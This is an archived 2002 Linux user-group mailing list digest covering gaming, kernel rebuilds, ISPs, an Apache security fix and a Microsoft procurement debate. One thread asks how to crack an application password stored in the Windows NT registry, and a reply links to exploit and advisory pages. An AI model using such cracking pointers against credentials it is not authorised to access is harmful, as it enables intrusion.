write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:57:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 18 Jun 2002 16:57:42 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <1024444662.12366.8.camel@wwarner> Or my favorite port of Mame. I have actually built a complete arcade cabinet http://advancemame.sourceforge.net/ I have actually built a complete arcade cabinet for mame with real arcade controllers and all. Bill Warner On Tue, 2002-06-18 at 15:51, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like > flight > sims and racing sims. but i use to play with this Arcade emulator that > was > great, played all the old Arcade games that i enjoyed playing as a kid. > i > cant remember the name of it, but if you look hard enough i know you can > find > an arcade emulator for Linux. but linux comes with many 2D non-violent > games, > what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:12:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 18 Jun 2002 17:12:12 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' In-Reply-To: <20020618235047.934.qmail@web10601.mail.yahoo.com> References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <200206181712.12960.arkane_@yahoo.com> Redhat 7.2 the last I checked loaded like almost everything as modules, so it would be a modularized kernel. On Tuesday 18 June 2002 04:50 pm, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:48:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 18 Jun 2002 17:48:49 -0700 (MST) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: These might be helpful? (After skimming this link, I'd scrap it and use something secure.) http://pulhas.org/xploitsdb/Other/5249.html http://neworder.box.sk/showme.php3?id=6416 http://www.securiteam.com/securitynews/5RP022A6UM.html squid works great with minimal tweeking on a mostly default RH7.3 server install. The tweeks needed are to allow minimal access to the proxy. Installation default is no access. ----------------------------------- On Tue, 18 Jun 2002, Sundar wrote: Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 18 Jun 2002 18:06:38 -0700 Subject: ASU computer lab hacked Message-ID: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> well, if anyone didn't catch the 5 PM news, it appears that the ASU computer lab and some of the administration machines were hacked into by someone representing the russian mafia (thats what they said on the news anyway). make take a look for it on www.phoenix360.com or any of the other news statiosn that have web pages. Technomage p. incidently, those machines were apples running a pre-OSX OS -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:32:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Wed, 19 Jun 2002 01:32:45 +0000 Subject: PLUG-discuss digest, Vol 1 #2374 - 13 msgs Message-ID: <20020619013246.066F56DA6C@www.fastmail.fm> Unless you have done something very unusual, you have a "Modular" Kernel. One way to check is to run, as root, the "lsmod" command. If you get many lines, you have a "Modular" Kernel. If you dont, or get an error, its likely "Monolithic". Bob. > Message: 7 > Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: Question: What's The difference between a 'Modular Kernel and > a Monolithic Kernel?' > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 18 Jun 2002 19:10:55 -0700 Subject: Defragmentation Message-ID: <200206181911.00116.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone had any luck with any defragmentation programs for linux? I found on, but can't get it to compile. ftp://metalab.unc.edu/pub/Linux/system/filesystems/ thanks for the help - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9D+gzQ7yNnsYcupwRAm/aAJ99/qatMITClAQAs6GcXk3EHTJOggCfRGUM I6LfBB9U4dst8vQ2s50wS0M= =G1mp -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:28:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 18 Jun 2002 22:28:47 -0400 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> Message-ID: <3D0FEC5F.BCD94975@georgetoft.com> For those of us whose Linux gaming experience is limited to doom and decent, could you spell out the games names, ie, UT and TO? George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- slr wrote: > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. drv. to play the newer > games, then i would say YES!!! linux is great for playing games, Wolfenstein > plays better for me in linux than is does in Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > but there just isnt enough titles, and now with Loki gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:29:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 19:29:27 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> Message-ID: <20020619022927.75969.qmail@web13405.mail.yahoo.com> --- technomage wrote: > well, > if anyone didn't catch the 5 PM news, it appears > that the ASU computer lab > and some of the administration machines were hacked > into by someone > representing the russian mafia (thats what they said > on the news anyway). > > make take a look for it on www.phoenix360.com or any > of the other news > statiosn that have web pages. > > Technomage > > p. incidently, those machines were apples running a > pre-OSX OS Pre-OSX? OS 9? Any word on what was running on the machines that allowed whoever it was to gain access? I didn't think any software bundled by apple pre-OSX had a remote exploit that could be used? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:37:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 18 Jun 2002 20:37:30 -0700 (MST) Subject: ASU computer lab hacked In-Reply-To: <20020619022927.75969.qmail@web13405.mail.yahoo.com> Message-ID: My understanding was that key logging software was installed locally. On Tue, 18 Jun 2002, bob smith wrote: > > --- technomage wrote: > > well, > > if anyone didn't catch the 5 PM news, it appears > > that the ASU computer lab > > and some of the administration machines were hacked > > into by someone > > representing the russian mafia (thats what they said > > on the news anyway). > > > > make take a look for it on www.phoenix360.com or any > > of the other news > > statiosn that have web pages. > > > > Technomage > > > > p. incidently, those machines were apples running a > > pre-OSX OS > > Pre-OSX? OS 9? Any word on what was running on the > machines that allowed whoever it was to gain access? I > didn't think any software bundled by apple pre-OSX had > a remote exploit that could be used? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 18 Jun 2002 23:47:16 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020619034718.XVQC8234.lakemtao06.cox.net@smtp.central.cox.net> Kevin, Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) 2. I removed the pcmcia stuff as you described below. I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). I will let you know if I find any other problems. Thanks again! Mark > > From: "Kevin Brown" > Date: 2002/06/17 Mon PM 07:12:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Need Help with Redhat 7.3 Install > > I gave Mark a call this morning, but thought I'd send this out to the list since > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > package from the system. > > rpm -e kernel-pcmcia-cs > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > kernel.org > wget > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > wget > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > cd /usr/src > tar -xvzf ~/linux-2.4.18.tar.gz > rpm -ivh ~/kernel-2.4.18.src.rpm > cd /usr/src/redhat/SOURCES > cp kernel-config- /usr/src/linux/.config > > Alter the config of the kernel: > cd /usr/src/linux > make menuconfig > > Remove PCMCIA Support > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > hit n to remove it, then exit config and save the changes > > make dep && make clean && make bzImage && make modules && make modules_install > > Wait for it to finish. On my P150 this took most of the night to do. > > cd /usr/src/linux/arch/i386/boot > cp bzImage /boot/vmlinuz-2.4.18 > > Assuming you are using grub, edit /etc/grub.conf > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > Easy way to edit both is to copy the config that is currently booting and rename > kernel it is loading. > > Reboot the system and select the recently compiled kernel. > > Now rebuild PCMCIA support. > > cd /usr/src > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > cd pcmcia-cs-3.1.34 > make config && make all && make install > > You should be able to accept the defaults during make config. Once done test by > starting it up. > > /etc/rc.d/init.d/pcmcia start > > Hope this helps. > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > Thanks! > > > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 21:32:10 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <3D10094A.7030208@netscape.net> --------------070703010906020708070004 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great! Map, skin, and mod downloads are alot quicker on Linux than on W*. George Toft wrote: >For those of us whose Linux gaming experience is limited to doom and >decent, could you spell out the games names, ie, UT and TO? > >George > > >-- >If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html >because it wasn't me! >-- > > >slr wrote: > > >>linuxgames.com is a great link for linux games >> >>if you have the 3D hardware and the most recent vid. drv. to play the newer >>games, then i would say YES!!! linux is great for playing games, Wolfenstein >>plays better for me in linux than is does in Windoze, as does Soldier of >>Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play >>great in Linux. Actually i enjoy playing games in Linux better than Windoze, >>but there just isnt enough titles, and now with Loki gone the future is >>somewhat dim. >> >>slr >> >>On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: >> >> >>>How good is linux for games? >>> >>>Linux has a rep for running more efficiently on older hardware than W*. >>>Is there a website that lists games available to linux and minimal hardware >>>needed for them? >>> >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --------------070703010906020708070004 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great!  Map, skin, and mod downloads are alot quicker on Linux than on W*.

George Toft wrote:
For those of us whose Linux gaming experience is limited to doom and
decent, could you spell out the games names, ie, UT and TO?

George


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slr wrote:
  
linuxgames.com is a great link for linux games

if you have the 3D hardware and the most recent vid. drv. to play the newer
games, then i would say YES!!! linux is great for playing games, Wolfenstein
plays better for me in linux than is does in Windoze, as does Soldier of
Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play
great in Linux. Actually i enjoy playing games in Linux better than Windoze,
but there just isnt enough titles, and now with Loki gone the future is
somewhat dim.

slr

On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote:
    
How good is linux for games?

Linux has a rep for running more efficiently on older hardware than W*.
Is there a website that lists games available to linux and minimal hardware
needed for them?


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--------------070703010906020708070004-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:39:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 18 Jun 2002 21:39:57 -0700 Subject: Fw: Computer Purchasing Guidelines Message-ID: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> Here is the response I received from David Cantelme, Deer Valley school board member. He is the one who has arizonalawinstitute@yahoo.com as his email address. It sounds to me that all the school districts and the state itself should be starting debarment proceedings against MS. We need to start contacting the legislators, Attorney General's office and your local school superintendents. ----- Original Message ----- From: "david cantelme" To: "Tom Achtenberg" Sent: Tuesday, June 18, 2002 6:08 AM Subject: Re: Computer Purchasing Guidelines Dear Mr. Actenburg: They do not, but similar rules found in the state school district procurement rules do apply. Both sets of rules have their origen in the state procurement code. You can find the school district procurement rules by going to the secretary of state web site. Click on administrative rules. Go to title seven. Then scroll down to R7-2-1001. That's where the rules begin. They continue to about R7-2-1175. Debarment procedures do exist in the school district procurement rules. You would need to address your comments on debarment to the adminsitration. That's who would initiate the procedure. If the administration initiates a debarment procedure, the board determines whether to appoint a hearing officer. It goes from there to the officer with appropriate due process to the contractor. The board itself has no involvement in the hearing process. The officer must be independent to ensure a fair hearing under our constitutional system. --- Tom Achtenberg wrote: > I was wondering if the Maricopa County purchasing > policies listed below apply > to DVUSD purchasing pprocedures? > > Maricopa County policies. Interesting references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract > with a County > Governmental unit. For purposes of Article 5, > Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County > Administrative > Officer under MC1-902 to prohibit a Person from > Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, > individual, union, > committee, club, other organization or group of > individuals. > 113."SUSPENSION" means an action taken by the County > Administrative > Officer under MC1-902 temporarily disqualifying a > Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. > This is important > below.] > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall > economy for the purpose > intended and encourage competition in satisfying > Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft > exclusive? I believe there > are sites that explain how to replace Exchange > Server completely using > Linux/OSS with Qmail; and SQL Server is replaceable > with mySQL or PostgreSQL; > IIS & ASP is replaceable with Apache & PHP, The MS > Office suite is > replaceable with the very comparable Open Office > suite.] > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall > include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or > affiliate of any Person > under any statute of the Federal government, this > State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business > integrity or business > honesty which affects responsibility as a > Contractor. > 3. Conviction or civil judgment finding a violation > by any Person or any > subsidiary or affiliate of any Person under State or > Federal Antitrust > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > As I read MC1-902.B.3, Microsoft (a Person), having > been convicted of a > violation of Federal Antitrust Statues, cannot be a > County Contractor. > > There are many alternatives to Microsofts products. > Alternatives that have > broken no laws, Federal or Local, are well supported > and used by many large > governments (Germany, Taiwan, et al). As a > concerned voter in the DVUSD, I > must point out that I cannot support criminal > behavior and would hope that my > Governing Board would see fit to do the same and > ONLY consider alternatives > as Microsoft is clearly unqualified to meet District > requirements. > > Thank You, > > Tom Achtenberg > > PS this message was written ans sent to you using a > computer that is 100% > Microsoft free. It uses the Red Hat Linux 7.3 > operating system, KDE windows > like desktop and the K-mail email client. All if > these programs come under > the "General Public License" which means they are > 100% free to the public for > personal and commercial use. > -- > Visit the Mountain Ridge Band Site at http://www.mrhsband.org __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:53:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Wed, 19 Jun 2002 04:53:35 +0000 (GMT) Subject: Local ISPs... Message-ID: Can anybody recommend a good local dialup ISP that is Linux-friendly and reliable? I don't need a lot of hand-holding, just one that isn't going to get all weird when I report a problem and I give them output from pppd's logs. (my current ISP, USISP [which is neither linux-friendly nor local] has constant problems with what should be easy stuff [you know, little things like changing my account without telling me and keeping the in-addr.arpa records working] and I'm sick of it) -Fedl From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 05:13:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 18 Jun 2002 22:13:06 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <1024463588.6572.10.camel@desktop.capnet.lan> --=-+i5M0brNiPHRORq6bRf9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-18 at 21:53, C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. >=20 You'll probably hear this one a lot... http://www.unitywave.com --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-+i5M0brNiPHRORq6bRf9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9EBLi6He1yLs+JHwRApc/AKC/rPUzbmbARuyL3A9hS6NaomcLFACfeWgl 2H4hzOJXOJDI4ov50x+wa0U= =8N8Z -----END PGP SIGNATURE----- --=-+i5M0brNiPHRORq6bRf9-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 06:44:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Tue, 18 Jun 2002 23:44:06 -0700 Subject: Local ISPs... References: Message-ID: <3D102836.8060706@deru.com> C. Sullivan wrote: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? Deru http://www.deru.com Extremely knowledgeable, reliable and very linux friendly. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:32:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:32:16 -0700 Subject: Local ISPs... In-Reply-To: References: Message-ID: <200206190032.20952.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.unitywave.com Am 18 Dienstag Juni 2002 21:53 schrieb C. Sullivan: > Can anybody recommend a good local dialup ISP that is Linux-friendly and > reliable? I don't need a lot of hand-holding, just one that isn't going > to get all weird when I report a problem and I give them output from > pppd's logs. > > (my current ISP, USISP [which is neither linux-friendly nor local] has > constant problems with what should be easy stuff [you know, little things > like changing my account without telling me and keeping the in-addr.arpa > records working] and I'm sick of it) > > -Fedl > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDOEQ7yNnsYcupwRAoobAKCcHhaJeOOWDS821WHxcsJQwcgRGwCfXIuC mzbCgVsqE+/BWa9ROX8mQhU= =yTp+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Wed, 19 Jun 2002 00:37:18 -0700 Subject: Gnucash 1.6.6 Message-ID: <200206190037.18890.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone built gnucash 1.6.6 ? I built it tonight and everything went smooth, but when I try to load it, it says slib is missing and I may need to create a symlink to slib in my guile directory. My guile is in /usr/share/guile Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib I've tried as root and my user. Anyone else have this problem? nathan - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr u73LzZDYaZcmaR/zXWj68BE= =JqV+ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:35:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 19 Jun 2002 00:35:35 -0700 Subject: Apache releases versions 1.3.26 and 2.0.39 Message-ID: <3D103447.6010009@deru.com> http://slashdot.org/article.pl?sid=02/06/18/2255209 http://www.apache.org/ These fix the problem that CERT reported yesterday [CERT VU#944335] ... -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 07:57:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 00:57:38 -0700 (MST) Subject: Apache releases versions 1.3.26 and 2.0.39 In-Reply-To: <3D103447.6010009@deru.com> Message-ID: Sure is nice to see a quick patch for this. ... i just completed rolling out a dozen copies of the 1.3.26 version ... The Apache Group is pleased to announce the release of the 1.3.26 version of the Apache HTTP Server. This version of Apache is principally a security and bug fix release. Of particular 